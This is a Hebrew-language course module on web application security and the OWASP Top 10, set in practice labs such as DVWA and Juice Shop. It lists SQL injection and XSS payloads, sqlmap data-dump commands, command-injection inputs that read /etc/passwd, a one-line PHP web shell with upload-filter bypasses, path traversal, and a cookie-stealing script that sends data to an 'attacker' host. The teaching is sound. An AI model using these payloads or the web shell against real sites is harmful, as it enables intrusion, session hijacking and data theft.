

מודול 9 — אבטחת Web

חומר לימוד

1 יחידות

תוכן העניינים

1. מודול 9 — אבטחת אפליקציות (OWASP Top 10) Web

מודול 9 — אבטחת אפליקציות (OWASP Top 10) Web

מטרות המודול: לשלוט בחולשות ה-Web הנפוצות ביותר — **OWASP Top 10** — ולתרגל אותן מעשית על סביבות חוקיות (DVWA / OWASP Juice Shop). נתמקד ב-SQL Injection, XSS, Command-Injection, Broken Access Control, File Upload/Inclusion, ועוד, עם **Burp Suite** ו-**sqlmap**.

קבצים: `slides.md` · `practice.md` · `solutions.md` · `missions.md` · `README.md`

למה זה הכי חשוב? אבטחת Web היא המיומנות המבוקשת ביותר בשוק — רוב הבדיקות החיצוניות ותוכניות ה-Bug Bounty הן web. שליטה כאן = ערך תעסוקתי מיידי.

תוכן העניינים

1. כיצד עובדת אפליקציית Web
2. OWASP Top 10 — סקירה
3. הקמת סביבת התרגול
4. SQL Injection
5. Cross-Site Scripting (XSS)
6. Command Injection
7. IDOR ו-Broken Access Control
8. File Inclusion ו-File Upload
9. שאר ה-Top 10
10. כלים והגנה

9.1 כיצד עובדת אפליקציית Web

לפני שתוקפים — צריך להבין את הזרימה: 1. הדפדפן שולח **בקשת HTTP** (GET/POST) לשרת. 2. השרת מריץ קוד (PHP/Python/Node), לרוב פונה ל**בסיס נתונים**. 3. השרת מחזיר **תשובת HTTP** (HTML/JSON). **החולשות נובעות מ"אמון" בקלט מהמשתמש.** אם הקלט לא מסונן, התוקף יכול להזריק קוד/פקודות. זהו השורש של רוב חולשות ה-Web.

9.2 OWASP Top 10 — סקירה

OWASP Top 10 היא רשימת עשר קטגוריות החולשות הקריטיות ביותר באפליקציות Web (מתעדכנת מדי כמה שנים):

#	קטגוריה	דוגמה
A01	Broken Access Control	גישה למשאב של משתמש אחר (IDOR)
A02	Cryptographic Failures	סיסמאות/מידע ללא הצפנה
A03	Injection	SQLi, Command Injection, XSS
A04	Insecure Design	פגם עיצובי מבני
A05	Security Misconfiguration	הגדרות ברירת מחדל, דיבוג פתוח
A06	Vulnerable Components	ספרייה/רכיב עם CVE ידוע
A07	Auth Failures	סיסמאות חלשות, Session לקוי
A08	Data Integrity Failures	Deserialization לא בטוח
A09	Logging & Monitoring Failures	חוסר ניטור
A10	SSRF	הכרחת השרת לפנות ליעד פנימי

נתימקד במעשיות ביותר לניצול: Injection (SQLi, Command, XSS), Broken Access Control, ו-File Upload/Inclusion.

9.3 הקמת סביבת התרגול

חוקי בלבד — סביבות שנבנו לתרגול: - DVWA (Damn Vulnerable Web Application) — אפליקציית PHP פגיעה בכוונה, עם רמות קושי. - OWASP Juice Shop — אפליקציית Node מודרנית עם +100 אתגרים.

```
# Juice Shop מהיר עם Docker:
sudo apt install docker.io -y
sudo docker run -d -p 3000:3000 bkimminich/juice-shop
# גלש ל http://localhost:3000

# DVWA – Metasploitable לרוב מגיע עם Docker:
sudo docker run -d -p 80:80 vulnerables/web-dvwa
```

חלופה: אתרי תרגול מקוונים כמו **PortSwigger Web Security Academy** (חינמי, מצוין).

SQL Injection (SQLi) 9.4

הדגל של OWASP. קורה כשקלט משתמש מוכנס ישירות לשאילתת SQL. התוקף "בורח" מהקשר הנתונים ומזריק SQL משלו.

הרעיון

שאילתה פגיעה בשרת:

```
SELECT * FROM users WHERE username='INPUT' AND password='INPUT';
```

אם נזין בשם המשתמש: `' OR '1'='1' --` השאילתה הופכת ל:

```
SELECT * FROM users WHERE username='' OR '1'='1' -- ' AND password='';
```

`'1'='1'` תמיד אמת, וה- `--` מבטל את השאר → **עוקפים התחברות**.

Payloads נפוצים

<code>' OR '1'='1' --</code>	עקיפת התחברות
<code>' OR 1=1 --</code>	
<code>admin' --</code>	admin-התחברות כ
<code>' UNION SELECT null,version() --</code>	(UNION-based) שליפת מידע
<code>' AND SLEEP(5) --</code>	Blind SQLi (מבוסס-זמן)

סוגי SQLi

• **In-band (Union-based)** — התוצאה חוזרת ישירות בדף.

• **Blind** — אין פלט ישיר; מסיקים לפי תגובת אמת/שקר (Boolean) או השהיה (Time-based).

אוטומציה עם sqlmap

```
sqlmap -u "http://target/page.php?id=1" --dbs # רשימת בסיסי נתונים
sqlmap -u "http://target/page.php?id=1" -D shop --tables # טבלאות
sqlmap -u "http://target/page.php?id=1" -D shop -T users --dump # שאיבת נתונים
sqlmap -r request.txt --batch # Burp-מבקשה שנשמרה מ
```

⚠️ sqlmap עוצמתי ורועש — הרץ רק על יעדים מורשים.

Cross-Site Scripting (XSS) 9.5

XSS מזריק **JavaScript** לדף, שרץ בדפדפן של קורבן אחר. משמש לגניבת Session, פישנינג, והשתלטות על חשבונות.

שלושה סוגים

סוג	תיאור
Reflected	ה-payload בבקשה, חוזר מיד בתשובה (לינק זדוני)
Stored	ה-payload נשמר בשרת (תגובה/פרופיל), פוגע בכל מי שצופה
DOM-based	הפגם ב-JavaScript בצד הלקוח

Payloads לבדיקה

```
<script>alert('XSS')</script>
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
"><script>alert(document.cookie)</script>
```

תקיפה אמיתית — גניבת Cookie

```
<script>fetch('http://attacker/c='+document.cookie)</script>
```

ה-Cookie של הקורבן נשלח לתוקף → חטיפת Session.

🔍 **Stored XSS** הוא החמור ביותר — פוגע בכל המשתמשים שרואים את התוכן, ללא צורך בלינק.

Command Injection 9.6

קורה כשאפליקציה מריצה פקודות מערכת עם קלט משתמש. התוקף מזריק פקודות נוספות.

הרעיון

דף שמבצע ping על קלט:

```
system("ping -c 1 " . $_GET['ip']);
```

קלט: whoami → 8.8.8.8; whoami גם מריץ whoami.

מפרידי פקודות

; command	הרצה ברצף
command	pipe
&& command	אם הקודם הצליח
`command`	substitution
\$(command)	

דוגמאות

```
127.0.0.1; whoami
127.0.0.1 && cat /etc/passwd
127.0.0.1 | id
```

ישירות ל-Shell (מודול 7). — Command Injection = **RCE (Remote Code Execution)** 🎯 — מהחולשות החמורות ביותר; מוביל

IDOR-1 Broken Access Control 9.7

A01 — החולשה הנפוצה ביותר. המשתמש ניגש למשאב/פעולה שאסורים לו.

IDOR (Insecure Direct Object Reference)

כשמזהה משאב חשוף וניתן לשינוי:

http://site/account?id=1001	← החשבון שלי
http://site/account?id=1002	← החשבון של מישהו אחר

פשוט משנים את המספר → גישה לנתוני אחרים.

דוגמאות נוספות

- גישה ל- /admin ללא הרשאת מנהל (Forced Browsing).
- שינוי role=user ל- role=admin בבקשה (ב-Burp).
- מחיקת/עריכת רשומה של משתמש אחר.

בדיקת IDOR: החלף מזהים (id, user, order) וראה אם אתה ניגש למשאבים שאינם שלך. פשוט אך קטלני. 🔍

File Upload 9.8 ו-File Inclusion (LFI/RFI)

העלאת קבצים (File Upload)

אם אפשר להעלות קובץ בלי סינון סוג — מעלים **Web Shell**:

```
<?php system($_GET['cmd']); ?>
```

מעלים כ- shell.php , ואז `http://site/uploads/shell.php?cmd=whoami` → RCE. עקיפות סינון נפוצות: `shell.php.jpg` , `shell.pHp` , שינוי Content-Type ב-Burp.

הכללת קבצים (File Inclusion)

- **LFI (Local File Inclusion)**: קריאת קבצים מהשרת:

```
http://site/page.php?file=../../../../etc/passwd
```

- **RFI (Remote File Inclusion)**: הכללת קובץ מרוחק (זדוני) → RCE.

🎯 File Upload ו-RFI מובילים ל-LFI; **RCE** חושף קבצים רגישים (סיסמאות, קונפיג) ולעיתים מוסלם ל-RCE (Log Poisoning).

9.9 שאר OWASP Top 10 (בקצרה)

- **CSRF (Cross-Site Request Forgery)** — הכרחת המשתמש לבצע פעולה לא רצויה (למשל שינוי סיסמה) דרך בקשה מזויפת. הגנה: CSRF Tokens.
- **SSRF (Server-Side Request Forgery)** — הכרחת השרת לפנות ליעד פנימי (`http://localhost/admin`, מטא-דאטה של ענן).
- **Authentication Failures** — סיסמאות חלשות, Session ID צפוי, חוסר Rate-limiting (קשור למודול 8).
- **Security Misconfiguration** — דפי ברירת מחדל, הודעות שגיאה חושפניות, דיבוג פתוח, פורטים מיותרים.
- **Vulnerable Components** — ספרייה/Framework עם CVE ידוע (מתחבר ל-searchsploit, מודול 6).
- **Cryptographic Failures** — HTTP במקום HTTPS, אחסון סיסמאות ללא Hash.

9.10 כלים והגנה

כלים

- **Burp Suite** — הכלי המרכזי: **Proxy** (יירוט), **Repeater** (עריכה ושליחה חוזרת), **Intruder** (אוטומציה/Fuzzing), **Decoder**.
- **sqlmap** — אוטומציית SQLi.
- **ffuf / gobuster** — גילוי נתיבים וקבצים.
- **nikto** — סריקת חולשות web נפוצות.

הגנה (להמלצות בדוח — מודול 16)

- **Input Validation & Sanitization** — לעולם אל תסמוך על קלט משתמש.
- **Parameterized Queries (Prepared Statements)** — מונע SQLi.
- **Output Encoding** — מונע XSS.
- **בקרת גישה בצד השרת** — לכל בקשה, לא רק ב-UI.
- **CSP, HTTPS, CSRF Tokens, MFA**

סיכום המודול

- חולשות Web נובעות מאמון בקלט משתמש; Burp הוא הכלי המרכזי.
- **OWASP Top 10** מסכם את הקטגוריות הקריטיות.
- **Injection: SQLi** (עקיפת התחברות, sqlmap), XSS (גניבת Session), Command Injection (RCE).
- **Broken Access Control / IDOR** — הנפוץ ביותר; שינוי מזהים.
- **File Upload / LFI / RFI** — מובילים ל-RCE ולחשיפת קבצים.
- **הגנה**: Prepared Statements, Output Encoding, בקרת גישה בשרת, MFA.

מה הלאה?

→ [missions.md](#) — תרגילים · [solutions.md](#) — פתרונות · [practice.md](#) — תרגול ותרחישים →

מודול 10 — **Buffer Overflow**

← חזרה למפת הקורס